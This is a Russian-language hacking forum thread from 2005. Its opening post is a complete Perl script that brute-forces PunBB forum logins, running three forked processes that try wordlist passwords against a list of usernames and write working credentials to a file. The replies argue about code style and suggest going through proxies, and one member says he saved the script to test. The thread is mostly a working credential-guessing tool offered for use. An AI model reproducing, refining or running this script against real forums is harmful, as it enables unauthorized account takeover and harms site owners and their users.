HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Брут на перле для punbb
  #1  
Старый 23.08.2005, 20:12
ShAnKaR
Постоянный
Регистрация: 14.07.2005
Сообщений: 964
С нами: 10960226

Репутация: 1424


По умолчанию Брут на перле для punbb

брут идет в три потока, буду рад вашим коментам, исправлениям, критике
#########################################
PHP код:
#!/usr/bin/perl
use LWP;
 
unless($ARGV[0] && $ARGV[1] && $ARGV[2]){
print(
"use punbb.pl http://site/forum/ userfile wordlist\n");
exit;};
 
$url=$ARGV[0];
 
my $ua LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)',timeout=>10);

$userfile=$ARGV[1]; 
$file=$ARGV[2];  

my ($pid,$pid2); 
$|=
1

if((
$pid=fork()) && ($pid2=fork())){
 
brut(0,$userfile,$file,$url); 

elsif($pid && defined($pid2)){
 
brut(1,$userfile,$file,$url);
 }
 
elsif(defined($pid)){ 
brut(2,$userfile,$file,$url);
 }
 else{ 
die(
"error fork()\n");
 }  

sub brut

$str=shift
$userfile=shift
$file=shift
$url=shift

open(IN,"<$file") or die("can`t open wordlist\n"); 
my @arr=<IN>;
 
close(IN); 
open(IN,"<$userfile");
 
my @ar=<IN>;
 
close(IN); 

$q=$str*$#arr/3;
 
$q1=($str+1)*$#arr/3;  

if($str==2){ 
splice(@arr,0,$q); }
 
elsif($str==1){
 
splice(@arr,0,$q);
 
splice(@arr,$q1,$#arr); }
 
elsif($str==0){ 
splice(@arr,$q1,$#arr); }

 
print "$str: wordlist loaded\n";

 for(
my $a=$a<=$#arr/3 ; $a++){
for($u=0;$u<=$#ar;$u++){

$user=$ar[$u];
$user=~s/\n$//g;

 
$pass=$arr[$a]; 
print 
$str.":".$pass;
 
$pass=~ s/\n$//;

 
$req = new HTTP::Request 'POST',$url.'login.php?action=in';
 
$data='form_sent=1&redirect_url='.$url.'index.php&req_username='.$user.'&req_password='.$pass.'&login=Login'
$req->content_type('application/x-www-form-urlencoded');
 
$req->content($data); 
$res $ua->request($req);
 
$content=$res->content;

 if(
$content=~ m/Logged in successfully/gi){

 print 
"######################\n";
 print 
"USER :$user\n"; print "PASS :$pass\n";
 print 
"######################\n";
 
open(OUT,">>out-punbb.txt");
 print 
OUT $user.":".$pass."\n";
 
close(OUT); 
}}}} 

Последний раз редактировалось ShAnKaR; 23.08.2005 в 23:04..
 
Ответить с цитированием

  #2  
Старый 23.08.2005, 20:50
qBiN
Постоянный
Регистрация: 20.01.2005
Сообщений: 899
С нами: 11212166

Репутация: 182


По умолчанию

Я из-за цветов код увидеть не могу...
 
Ответить с цитированием

  #3  
Старый 24.08.2005, 04:15
ais+
Новичок
Регистрация: 17.08.2005
Сообщений: 16
С нами: 10911738

Репутация: 0
По умолчанию

Сохранил.
Утром будет тестится.
 
Ответить с цитированием

  #4  
Старый 24.08.2005, 05:05
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами: 11042306

Репутация: 2726


По умолчанию

Вообще неплохо.

1) LWP лучше не использовать, вручную строить HTTP запрос
2)
Цитата:
if(($pid=fork()) && ($pid2=fork())){
brut(0,$userfile,$file,$url);
}
Очень неэстетично. Потоки (ну точнее процессы, пофигу) нужны для брута через прокси, иначе скорость практически не возрастет.
Однако перл ты знаешь хорошо...

3) перл бля этих делов не особо подходит, лучше просто писать для Unix на С, читай тему про мой брут для phpBB.

4) Смысл нулевой, как и от моего брута phpBB. Я невзлюбил phpBB а ты PunBB)) Ну что он тебе плохого сделал???)))))

Последний раз редактировалось KEZ; 24.08.2005 в 05:13..
 
Ответить с цитированием

  #5  
Старый 24.08.2005, 08:59
nerezus
Флудер
Регистрация: 12.08.2004
Сообщений: 3,791
С нами: 11444066

Репутация: 2290


По умолчанию

Цитата:
1) Lwp лучше не использовать, вручную строить Http запрос
Вобще-то, именно Lwpследует использовать. Т.к. правило хорошого тона.
//отмазки типа "его может не быть" не пойдут, т.к. есть он в стандартной поставке.

Цитата:
3) перл бля этих делов не особо подходит
имхо он для этого идеален.
Приведи довод в опровержение, а?
 
Ответить с цитированием

  #6  
Старый 25.08.2005, 02:11
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами: 11042306

Репутация: 2726


По умолчанию

Вашу мать,с кем я общаюсь? ))
Может вам обьяснить почему ненужно использовать Delphi?
Давайте тогда сразу будем все делать в виде .BAT файлов!

Цитата:
мхо он для этого идеален.
Приведи довод в опровержение, а?
А ты на перле видал pthread_ ? Думаю что нет. А ты в курсе как сделан fork() ?
А ты знаешь что перл не везде есть? А почему все что делается под линукс - делается ПРОСТО под gcc ?
 
Ответить с цитированием

  #7  
Старый 25.08.2005, 09:24
nerezus
Флудер
Регистрация: 12.08.2004
Сообщений: 3,791
С нами: 11444066

Репутация: 2290


По умолчанию

Цитата:
А ты знаешь что перл не везде есть?
ну вообще-то gcc есть еще реже

Цитата:
А почему все что делается под линукс - делается ПРОСТО под gcc ?
да-да-да, а FreeBSD сделана майкрософтом...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Брут хэшей для ipb 2.0.x coyl PHP 21 20.10.2005 17:04
XSS в форумах PunBB и LUX PinkPanther Уязвимости 3 30.03.2005 14:38



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.